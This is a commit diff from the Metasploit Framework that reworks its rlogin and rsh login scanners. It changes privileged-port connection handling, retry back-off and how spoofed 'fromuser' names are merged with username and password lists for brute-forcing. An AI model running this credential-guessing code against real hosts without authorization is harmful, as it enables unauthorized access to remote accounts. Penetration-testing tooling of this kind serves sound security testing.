improve handling of return from connect_from_privileged_port, rework rlogin fromuser merging

git-svn-id: file:///home/svn/framework3/trunk@11171 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-11-30 02:00:58 +00:00
parent aa827488cd
commit 225bf0738e
3 changed files with 73 additions and 71 deletions

View File

@ -30,25 +30,21 @@ module Auxiliary::RServices
def connect_from_privileged_port(start_port = 1023) def connect_from_privileged_port(start_port = 1023)
cport = start_port cport = start_port
sd = nil
while cport > 512 while cport > 512
#vprint_status("Trying to connect from port #{cport} ...") #vprint_status("Trying to connect from port #{cport} ...")
sd = nil sd = nil
begin begin
sd = connect(true, { 'CPORT' => cport }) sd = connect(true, { 'CPORT' => cport })
#
# XXX: This is NOT optimal. Unfortunately, unreachable hosts will be
# retried around 512 times :-/ Ticket #3206 tracks this.
#
rescue Rex::HostUnreachable
# Ignore and try again
rescue Rex::AddressInUse rescue Rex::AddressInUse
# Ignore and try again # Ignore and try again
#vprint_error("Unable to connect: #{$!}")
rescue Rex::ConnectionError rescue Rex::ConnectionError => e
vprint_error("Unable to connect: #{$!}") vprint_error("Unable to connect: #{$!}")
return false return :refused if e.class == Rex::ConnectionRefused
return :connection_error
end end
@ -56,13 +52,13 @@ module Auxiliary::RServices
cport -= 1 cport -= 1
end end
if not sock if not sd
print_error("#{target_host}:#{rport} - Unable to bind to privileged port") print_error("#{target_host}:#{rport} - Unable to bind to privileged port")
return false return :bind_error
end end
#vprint_status("Connected from #{cport}") #vprint_status("Connected from #{cport}")
return true return :connected
end end

View File

@ -50,12 +50,15 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip) def run_host(ip)
print_status("#{ip}:#{rport} - Starting rlogin sweep") print_status("#{ip}:#{rport} - Starting rlogin sweep")
luser = datastore['LOCALUSER'] # We make a first connection to assess initial state of the service. If the
luser ||= 'root' # service isn't available, we don't even bother to try further attempts against
# this host. Also, bind errors shouldn't happen and are treated as fatal here.
status = connect_from_privileged_port
return :abort if [ :refused, :bind_error ].include? status
begin begin
each_user_fromuser_pass { |user, fromuser, pass| each_user_fromuser_pass { |user, fromuser, pass|
try_user_pass(user, fromuser, pass) try_user_pass(user, fromuser, pass, status)
} }
rescue ::Rex::ConnectionError rescue ::Rex::ConnectionError
nil nil
@ -81,27 +84,39 @@ class Metasploit3 < Msf::Auxiliary
credentials = gen_blank_passwords(users, credentials) credentials = gen_blank_passwords(users, credentials)
end end
# user+pass pairs, don't set the fromuser
credentials.map! { |c|
u,p = c
[ u, [ nil, p ] ]
}
if passwords.length > 0
# pair up fromusers 1:1 with passwords, turning each password into an array
passwords.map! { |p|
fu = fromusers.shift
p = [ fu, p ]
}
# more fromusers than passwords? append nil passwords, which will be handled specially
# by the login processing.
fromusers.each { |fu|
passwords << [ fu, nil ]
}
end
credentials.concat(combine_users_and_passwords(users, passwords)) credentials.concat(combine_users_and_passwords(users, passwords))
#credentials = just_uniq_passwords(credentials) if @strip_usernames credentials.uniq!
# Okay, now we have a list of credentials to try. We want to merge in
# our list of from users for each user.
indexes = {}
credentials.map! { |u,p|
idx = indexes[u]
idx ||= 0
pa = nil
if idx >= fromusers.length
pa = [ nil, p ]
else
pa = [ fromusers[idx], p ]
indexes[u] = idx + 1
end
[ u, pa ]
}
# If there are more fromusers than passwords, append nil passwords, which will be handled
# specially by the login processing.
indexes.each_key { |u|
idx = indexes[u]
while idx < fromusers.length
credentials << [ u, [ fromusers[idx], nil ] ]
idx += 1
end
}
indexes = {}
# We do a second uniq! pass in case we added some dupes somehow
credentials.uniq!
fq_rest = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], "all remaining users"] fq_rest = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], "all remaining users"]
@ -140,39 +155,33 @@ class Metasploit3 < Msf::Auxiliary
end end
def try_user_pass(user, luser, pass) def try_user_pass(user, luser, pass, status = nil)
luser ||= 'root' luser ||= 'root'
vprint_status "#{rhost}:#{rport} rlogin - Attempting: '#{user}':'#{pass}' from '#{luser}'" vprint_status "#{rhost}:#{rport} rlogin - Attempting: '#{user}':#{pass.inspect} from '#{luser}'"
#vprint_status "#{rhost}:#{rport} rlogin - Attempting: '#{user}':'#{pass.inspect}' from '#{luser.inspect}'"
this_attempt ||= 0 this_attempt ||= 0
ret = nil ret = nil
while this_attempt <= 3 and (ret.nil? or ret == :refused) while this_attempt <= 3 and (ret.nil? or ret == :refused)
if this_attempt > 0 if this_attempt > 0
select(nil,nil,nil, 2**this_attempt) # power of 2 back-off
vprint_error "#{rhost}:#{rport} rlogin - Retrying '#{user}':'#{pass}' from '#{luser}' due to reset" select(nil, nil, nil, 2**this_attempt)
vprint_error "#{rhost}:#{rport} rlogin - Retrying '#{user}':#{pass.inspect} from '#{luser}' due to reset"
end end
ret = do_login(user, pass, luser) ret = do_login(user, pass, luser, status)
this_attempt += 1 this_attempt += 1
end end
case ret case ret
when :no_auth_required
print_good "#{rhost}:#{rport} rlogin - No authentication required!"
return :abort
when :no_pass_prompt when :no_pass_prompt
vprint_status "#{rhost}:#{rport} rlogin - Skipping '#{user}' due to missing password prompt" vprint_status "#{rhost}:#{rport} rlogin - Skipping '#{user}' due to missing password prompt"
return :skip_user return :skip_user
when :timeout
vprint_status "#{rhost}:#{rport} rlogin - Skipping '#{user}':'#{pass}' from '#{luser}' due to timeout"
when :busy when :busy
vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':'#{pass}' from '#{luser}' due to busy state" vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':#{pass.inspect} from '#{luser}' due to busy state"
when :refused when :refused
vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':'#{pass}' from '#{luser}' due to connection refused." vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':#{pass.inspect} from '#{luser}' due to connection refused."
when :skip_user when :skip_user
vprint_status "#{rhost}:#{rport} rlogin - Skipping disallowed user '#{user}' for subsequent requests" vprint_status "#{rhost}:#{rport} rlogin - Skipping disallowed user '#{user}' for subsequent requests"
@ -188,31 +197,28 @@ class Metasploit3 < Msf::Auxiliary
return :next_user return :next_user
end end
end end
# Default to returning whatever we got last..
ret
end end
# Sometimes telnet servers start RSTing if you get them angry. def do_login(user, pass, luser, status = nil)
# This is a short term fix; the problem is that we don't know
# if it's going to reset forever, or just this time, or randomly.
# A better solution is to get the socket connect to try again
# with a little backoff.
def connect_reset_safe
begin
# Reset our accumulators for interacting with /bin/login # Reset our accumulators for interacting with /bin/login
@recvd = '' @recvd = ''
@trace = '' @trace = ''
# We must connect from a privileged port.
connect_from_privileged_port # We must connect from a privileged port. This only occurs when status
rescue Rex::ConnectionRefused # is nil. That is, it only occurs when a connection doesn't already exist.
return :refused if not status
end status = connect_from_privileged_port
return :connected return :refused if status == :refused
end end
# Abort if we didn't get successfully connected.
return :abort if status != :connected
def do_login(user, pass, luser) # Send the local/remote usernames and the desired terminal type/speed
return :refused if connect_reset_safe == :refused
sock.put("\x00#{luser}\x00#{user}\x00#{datastore['TERM']}/#{datastore['SPEED']}\x00") sock.put("\x00#{luser}\x00#{user}\x00#{datastore['TERM']}/#{datastore['SPEED']}\x00")
# Read the expected nul byte response. # Read the expected nul byte response.
@ -272,15 +278,15 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
if login_succeeded? if login_succeeded?
print_good("#{target_host}:#{rport}, rlogin '#{user}' : '#{pass}' from '#{luser}'") print_good("#{target_host}:#{rport}, rlogin '#{user}' : #{pass.inspect}")
start_rlogin_session(rhost, rport, user, luser, pass, @trace) start_rlogin_session(rhost, rport, user, nil, pass, @trace)
return :success return :success
else else
return :fail return :fail
end end
else else
if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/ if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/
return :success return :succeeded # intentionally not :success
else else
self.sock.close unless self.sock.closed? self.sock.close unless self.sock.closed?
return :no_pass_prompt return :no_pass_prompt

View File

@ -132,7 +132,7 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{target_host}:#{rport} - Attempting rsh with username '#{user}' from '#{luser}'") vprint_status("#{target_host}:#{rport} - Attempting rsh with username '#{user}' from '#{luser}'")
# We must connect from a privileged port. # We must connect from a privileged port.
return :abort if not connect_from_privileged_port(1022) return :abort if connect_from_privileged_port(1022) != :connected
sock.put("#{lport}\x00#{luser}\x00#{user}\x00#{cmd}\x00") sock.put("#{lport}\x00#{luser}\x00#{user}\x00#{cmd}\x00")